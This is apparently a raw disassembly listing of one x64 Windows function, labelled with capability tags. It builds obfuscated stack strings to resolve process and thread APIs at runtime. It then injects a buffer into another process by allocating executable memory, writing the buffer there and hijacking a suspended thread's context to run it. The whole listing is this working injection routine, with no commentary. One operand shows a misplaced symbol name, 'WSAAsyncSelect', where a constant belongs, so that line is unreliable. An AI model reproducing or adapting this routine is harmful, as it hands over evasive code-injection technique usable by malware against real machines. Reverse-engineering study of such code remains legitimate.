Function at 0x14000a1a0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x670]
sub rsp, 0x770
mov rax, qword [0x141992390]
xor rax, rsp
mov qword [rbp + 0x660], rax
mov qword [rbp + 0x58], r8
mov dword [rsp + 0x34], edx
xor esi, esi
mov dword [rsp + 0x30], esi
lea ecx, [rsi + 0x4b]
mov dword [rbp + 0x560], 0x65004b
mov dword [rbp + 0x564], 0x6e0072
mov dword [rbp + 0x568], 0x6c0065
mov dword [rbp + 0x56c], 0x320033
mov dword [rbp + 0x570], 0x64002e
mov dword [rbp + 0x574], 0x6c006c
mov word [rbp + 0x578], si
lea rbx, [rbp + 0x560]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x48], rsi
mov edx, 7
mov qword [rsp + 0x50], rdx
mov word [rsp + 0x38], si
mov dword [rsp + 0x30], 1
nop dword [rax]
cmp cx, 0x20
je 0x14000a29e
cmp cx, 0x2d
je 0x14000a29e
mov r8, qword [rsp + 0x48]
cmp r8, rdx
jae 0x14000a28b
lea rax, [r8 + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 8
cmovae rax, qword [rsp + 0x38]
mov word [rax + r8*2], cx
mov word [rax + r8*2 + 2], si
jmp 0x14000a299
movzx r9d, cx
lea rcx, [rsp + 0x38]
call fcn.14000b6d0
mov rdx, qword [rsp + 0x50]
add rbx, 2
movzx eax, word [rbx]
movzx ecx, ax
test ax, ax
jne 0x14000a250
lea rcx, [rsp + 0x38]
cmp rdx, 8
cmovae rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x14000a307
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b12d
call fcn.140121cec
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], si
mov dword [rbp + 0x590], 0x6e65704f
mov dword [rbp + 0x594], 0x636f7250
mov dword [rbp + 0x598], 0x737365
mov dword [rbp + 0x5c0], 0x74726956
mov dword [rbp + 0x5c4], 0x416c6175
mov dword [rbp + 0x5c8], 0x636f6c6c
mov word [rbp + 0x5cc], 0x7845
mov byte [rbp + 0x5ce], 0
movdqa xmm0, xmmword [0x141961bd0]
movdqu xmmword [rbp + 0x600], xmm0
mov word [rbp + 0x610], 0x7972
mov byte [rbp + 0x612], 0
movdqa xmm0, xmmword [0x141961bb0]
movdqu xmmword [rbp + 0x560], xmm0
mov dword [rbp + 0x570], 0x70616e53
mov dword [rbp + 0x574], 0x746f6873
mov byte [rbp + 0x578], 0
mov dword [rbp + 0x5b0], 0x65726854
mov dword [rbp + 0x5b4], 0x32336461
mov dword [rbp + 0x5b8], 0x73726946
mov word [rbp + 0x5bc], 0x74
mov dword [rbp + 0x5a0], 0x65726854
mov dword [rbp + 0x5a4], 0x32336461
mov dword [rbp + 0x5a8], 0x7478654e
mov byte [rbp + 0x5ac], 0
mov dword [rbp + 0x580], 0x6e65704f
mov dword [rbp + 0x584], 0x65726854
mov word [rbp + 0x588], 0x6461
mov byte [rbp + 0x58a], 0
movdqa xmm0, xmmword [0x141961be0]
movdqu xmmword [rbp + 0x620], xmm0
mov byte [rbp + 0x630], 0
movdqa xmm1, xmmword [0x141961bf0]
movdqu xmmword [rbp + 0x640], xmm1
mov byte [rbp + 0x650], 0
mov dword [rbp + 0x5f0], 0x70737553
mov dword [rbp + 0x5f4], 0x54646e65
mov dword [rbp + 0x5f8], 0x61657268
mov word [rbp + 0x5fc], WSAAsyncSelect
mov dword [rbp + 0x5e0], 0x75736552
mov dword [rbp + 0x5e4], 0x6854656d
mov dword [rbp + 0x5e8], 0x64616572
mov byte [rbp + 0x5ec], 0
mov dword [rbp + 0x5d0], 0x736f6c43
mov dword [rbp + 0x5d4], 0x6e614865
mov dword [rbp + 0x5d8], 0x656c64
lea rbx, [rbp + 0x590]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov r8d, 0xf
mov qword [rsp + 0x70], r8
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x30], 2
mov cl, 0x4f
cmp cl, 0x20
je 0x14000a52d
cmp cl, 0x2d
je 0x14000a52d
mov rdx, qword [rsp + 0x68]
cmp rdx, r8
jae 0x14000a51a
lea rax, [rdx + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x58]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000a528
movzx r9d, cl
lea rcx, [rsp + 0x58]
call fcn.14000b870
mov r8, qword [rsp + 0x70]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000a4e4
lea rdx, [rsp + 0x58]
cmp r8, 0x10
cmovae rdx, qword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000a58f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a58a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b133
call fcn.140121cec
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
lea rbx, [rbp + 0x5c0]
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
mov r8d, 0xf
mov qword [rbp - 0x70], r8
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x30], 4
mov cl, 0x56
nop dword [rax + rax]
cmp cl, 0x20
je 0x14000a616
cmp cl, 0x2d
je 0x14000a616
mov rdx, qword [rbp - 0x78]
cmp rdx, r8
jae 0x14000a604
lea rax, [rdx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x78]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000a612
movzx r9d, cl
lea rcx, [rsp + 0x78]
call fcn.14000b870
mov r8, qword [rbp - 0x70]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000a5d0
lea rdx, [rsp + 0x78]
cmp r8, 0x10
cmovae rdx, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000a677
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a672
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b139
call fcn.140121cec
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
lea rbx, [rbp + 0x600]
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], rsi
mov r8d, 0xf
mov qword [rbp - 0x50], r8
mov byte [rbp - 0x68], 0
mov dword [rsp + 0x30], 8
mov cl, 0x57
nop
cmp cl, 0x20
je 0x14000a6f3
cmp cl, 0x2d
je 0x14000a6f3
mov rdx, qword [rbp - 0x58]
cmp rdx, r8
jae 0x14000a6e2
lea rax, [rdx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x68]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000a6ef
movzx r9d, cl
lea rcx, [rbp - 0x68]
call fcn.14000b870
mov r8, qword [rbp - 0x50]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000a6b0
lea rdx, [rbp - 0x68]
cmp r8, 0x10
cmovae rdx, qword [rbp - 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x60], rax
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14000a752
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a74d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b13f
call fcn.140121cec
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
lea rbx, [rbp + 0x560]
mov qword [rbp + 0x600], rsi
mov qword [rbp + 0x610], rsi
mov r8d, 0xf
mov qword [rbp + 0x618], r8
mov byte [rbp + 0x600], 0
mov dword [rsp + 0x30], 0x10
mov cl, 0x43
cmp cl, 0x20
je 0x14000a7ea
cmp cl, 0x2d
je 0x14000a7ea
mov rdx, qword [rbp + 0x610]
cmp rdx, r8
jae 0x14000a7d3
lea rax, [rdx + 1]
mov qword [rbp + 0x610], rax
lea rax, [rbp + 0x600]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x600]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000a7e3
movzx r9d, cl
lea rcx, [rbp + 0x600]
call fcn.14000b870
mov r8, qword [rbp + 0x618]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000a795
lea rdx, [rbp + 0x600]
cmp r8, 0x10
cmovae rdx, qword [rbp + 0x600]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rdx, qword [rbp + 0x618]
cmp rdx, 0x10
jb 0x14000a854
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a84f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b145
call fcn.140121cec
mov qword [rbp + 0x610], rsi
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
lea rbx, [rbp + 0x5b0]
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x570], rsi
mov r8d, 0xf
mov qword [rbp + 0x578], r8
mov byte [rbp + 0x560], 0
mov dword [rsp + 0x30], 0x20
mov cl, 0x54
cmp cl, 0x20
je 0x14000a8f5
cmp cl, 0x2d
je 0x14000a8f5
mov rdx, qword [rbp + 0x570]
cmp rdx, r8
jae 0x14000a8de
lea rax, [rdx + 1]
mov qword [rbp + 0x570], rax
lea rax, [rbp + 0x560]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x560]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000a8ee
movzx r9d, cl
lea rcx, [rbp + 0x560]
call fcn.14000b870
mov r8, qword [rbp + 0x578]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000a8a0
lea rdx, [rbp + 0x560]
cmp r8, 0x10
cmovae rdx, qword [rbp + 0x560]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x14000a960
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a95b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b14b
call fcn.140121cec
mov qword [rbp + 0x570], rsi
mov qword [rbp + 0x578], 0xf
mov byte [rbp + 0x560], 0
lea rbx, [rbp + 0x5a0]
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x38], rsi
mov r8d, 0xf
mov qword [rbp - 0x30], r8
mov byte [rbp - 0x48], 0
mov dword [rsp + 0x30], 0x40
mov cl, 0x54
cmp cl, 0x20
je 0x14000a9e3
cmp cl, 0x2d
je 0x14000a9e3
mov rdx, qword [rbp - 0x38]
cmp rdx, r8
jae 0x14000a9d2
lea rax, [rdx + 1]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x48]
mov byte [rdx + rax], cl
mov byte [rdx + rax + 1], 0
jmp 0x14000a9df
movzx r9d, cl
lea rcx, [rbp - 0x48]
call fcn.14000b870
mov r8, qword [rbp - 0x30]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000a9a0
lea rdx, [rbp - 0x48]
cmp r8, 0x10
cmovae rdx, qword [rbp - 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x590], rax
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14000aa45
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b151
call fcn.140121cec
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
lea rbx, [rbp + 0x580]
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x18], rsi
mov r8d, 0xf
mov qword [rbp - 0x10], r8
mov byte [rbp - 0x28], 0
mov dword [rsp + 0x30], 0x80
mov cl, 0x4f
nop dword [rax]
cmp cl, 0x20
je 0x14000aac3
cmp cl, 0x2d
je 0x14000aac3
mov rdx, qword [rbp - 0x18]
cmp rdx, r8
jae 0x14000aab2
lea rax, [rdx + 1]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000aabf
movzx r9d, cl
lea rcx, [rbp - 0x28]
call fcn.14000b870
mov r8, qword [rbp - 0x10]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000aa80
lea rdx, [rbp - 0x28]
cmp r8, 0x10
cmovae rdx, qword [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5c0], rax
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000ab25
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ab20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b157
call fcn.140121cec
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
lea rbx, [rbp + 0x620]
mov qword [rbp - 8], rsi
mov qword [rbp + 8], rsi
mov r8d, 0xf
mov qword [rbp + 0x10], r8
mov byte [rbp - 8], 0
mov dword [rsp + 0x30], 0x100
mov cl, 0x47
nop dword [rax]
cmp cl, 0x20
je 0x14000aba3
cmp cl, 0x2d
je 0x14000aba3
mov rdx, qword [rbp + 8]
cmp rdx, r8
jae 0x14000ab92
lea rax, [rdx + 1]
mov qword [rbp + 8], rax
lea rax, [rbp - 8]
cmp r8, 0x10
cmovae rax, qword [rbp - 8]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000ab9f
movzx r9d, cl
lea rcx, [rbp - 8]
call fcn.14000b870
mov r8, qword [rbp + 0x10]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000ab60
lea rdx, [rbp - 8]
cmp r8, 0x10
cmovae rdx, qword [rbp - 8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5a0], rax
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14000ac05
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b15d
call fcn.140121cec
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
lea rbx, [rbp + 0x640]
mov qword [rbp + 0x620], rsi
mov qword [rbp + 0x630], rsi
mov r8d, 0xf
mov qword [rbp + 0x638], r8
mov byte [rbp + 0x620], 0
mov dword [rsp + 0x30], 0x200
mov cl, 0x53
cmp cl, 0x20
je 0x14000ac9d
cmp cl, 0x2d
je 0x14000ac9d
mov rdx, qword [rbp + 0x630]
cmp rdx, r8
jae 0x14000ac86
lea rax, [rdx + 1]
mov qword [rbp + 0x630], rax
lea rax, [rbp + 0x620]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x620]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000ac96
movzx r9d, cl
lea rcx, [rbp + 0x620]
call fcn.14000b870
mov r8, qword [rbp + 0x638]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000ac48
lea rdx, [rbp + 0x620]
cmp r8, 0x10
cmovae rdx, qword [rbp + 0x620]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x580], rax
mov rdx, qword [rbp + 0x638]
cmp rdx, 0x10
jb 0x14000ad0b
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ad06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b163
call fcn.140121cec
mov qword [rbp + 0x630], rsi
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
lea rbx, [rbp + 0x5f0]
mov qword [rbp + 0x640], rsi
mov qword [rbp + 0x650], rsi
mov r8d, 0xf
mov qword [rbp + 0x658], r8
mov byte [rbp + 0x640], 0
mov dword [rsp + 0x30], 0x400
mov cl, 0x53
cmp cl, 0x20
je 0x14000adac
cmp cl, 0x2d
je 0x14000adac
mov rdx, qword [rbp + 0x650]
cmp rdx, r8
jae 0x14000ad95
lea rax, [rdx + 1]
mov qword [rbp + 0x650], rax
lea rax, [rbp + 0x640]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x640]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000ada5
movzx r9d, cl
lea rcx, [rbp + 0x640]
call fcn.14000b870
mov r8, qword [rbp + 0x658]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000ad57
lea rdx, [rbp + 0x640]
cmp r8, 0x10
cmovae rdx, qword [rbp + 0x640]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5b0], rax
mov rdx, qword [rbp + 0x658]
cmp rdx, 0x10
jb 0x14000ae1a
inc rdx
mov rcx, qword [rbp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ae15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b169
call fcn.140121cec
mov qword [rbp + 0x650], rsi
mov qword [rbp + 0x658], 0xf
mov byte [rbp + 0x640], 0
lea rbx, [rbp + 0x5e0]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], rsi
mov r8d, 0xf
mov qword [rbp + 0x30], r8
mov byte [rbp + 0x18], 0
mov dword [rsp + 0x30], 0x800
mov cl, 0x52
nop word [rax + rax]
cmp cl, 0x20
je 0x14000aea3
cmp cl, 0x2d
je 0x14000aea3
mov rdx, qword [rbp + 0x28]
cmp rdx, r8
jae 0x14000ae92
lea rax, [rdx + 1]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x18]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x18]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000ae9f
movzx r9d, cl
lea rcx, [rbp + 0x18]
call fcn.14000b870
mov r8, qword [rbp + 0x30]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000ae60
lea rdx, [rbp + 0x18]
cmp r8, 0x10
cmovae rdx, qword [rbp + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x14000af01
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aefc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b16f
call fcn.140121cec
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
lea rbx, [rbp + 0x5d0]
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x48], rsi
mov r8d, 0xf
mov qword [rbp + 0x50], r8
mov byte [rbp + 0x38], 0
mov dword [rsp + 0x30], 0x1000
mov cl, 0x43
cmp cl, 0x20
je 0x14000af7b
cmp cl, 0x2d
je 0x14000af7b
mov rdx, qword [rbp + 0x48]
cmp rdx, r8
jae 0x14000af6a
lea rax, [rdx + 1]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x38]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x38]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000af77
movzx r9d, cl
lea rcx, [rbp + 0x38]
call fcn.14000b870
mov r8, qword [rbp + 0x50]
inc rbx
movzx ecx, byte [rbx]
test cl, cl
jne 0x14000af38
lea rdx, [rbp + 0x38]
cmp r8, 0x10
cmovae rdx, qword [rbp + 0x38]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x14000afd9
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000afd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b127
call fcn.140121cec
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov ebx, dword [rsp + 0x34]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call r15
mov r15, rax
test rax, rax
je 0x14000b0fd
mov rax, qword [rbp + 0x58]
mov r8, qword [rax + 8]
sub r8, qword [rax]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, r15
call r12
mov r12, rax
mov rcx, r15
test rax, rax
je 0x14000b0fb
mov rax, qword [rbp + 0x58]
mov r8, qword [rax]
mov r9, qword [rax + 8]
sub r9, r8
mov qword [rsp + 0x20], rsi
mov rdx, r12
call qword [rbp + 0x60]
xor edx, edx
lea ecx, [rdx + 4]
call r14
mov r14, rax
mov dword [rbp + 0x70], 0x1c
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [rbp + 0x68]
test eax, eax
je 0x14000b0f3
cmp ebx, dword [rbp + 0x7c]
jne 0x14000b0e1
mov r8d, dword [rbp + 0x78]
xor edx, edx
mov ecx, 0x1fffff
call qword [rbp + 0x5c0]
mov rbx, rax
test rax, rax
je 0x14000b0f3
inc esi
mov rcx, rax
call qword [rbp + 0x5b0]
mov dword [rbp + 0xc0], 0x10000b
lea rdx, [rbp + 0x90]
mov rcx, rbx
call qword [rbp + 0x5a0]
mov qword [rbp + 0x188], r12
lea rdx, [rbp + 0x90]
mov rcx, rbx
call qword [rbp + 0x580]
mov rcx, rbx
call r13
mov rcx, rbx
call rdi
cmp esi, 4
jg 0x14000b0f3
mov ebx, dword [rsp + 0x34]
lea rdx, [rbp + 0x70]
mov rcx, r14
call qword [rbp + 0x590]
jmp 0x14000b06b
mov rcx, r14
call rdi
mov rcx, r15
call rdi
mov rcx, qword [rbp + 0x660]
xor rcx, rsp
call fcn.140121c90
mov rbx, qword [rsp + 0x7b0]
add rsp, 0x770
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3
call fcn.1401285bc
int3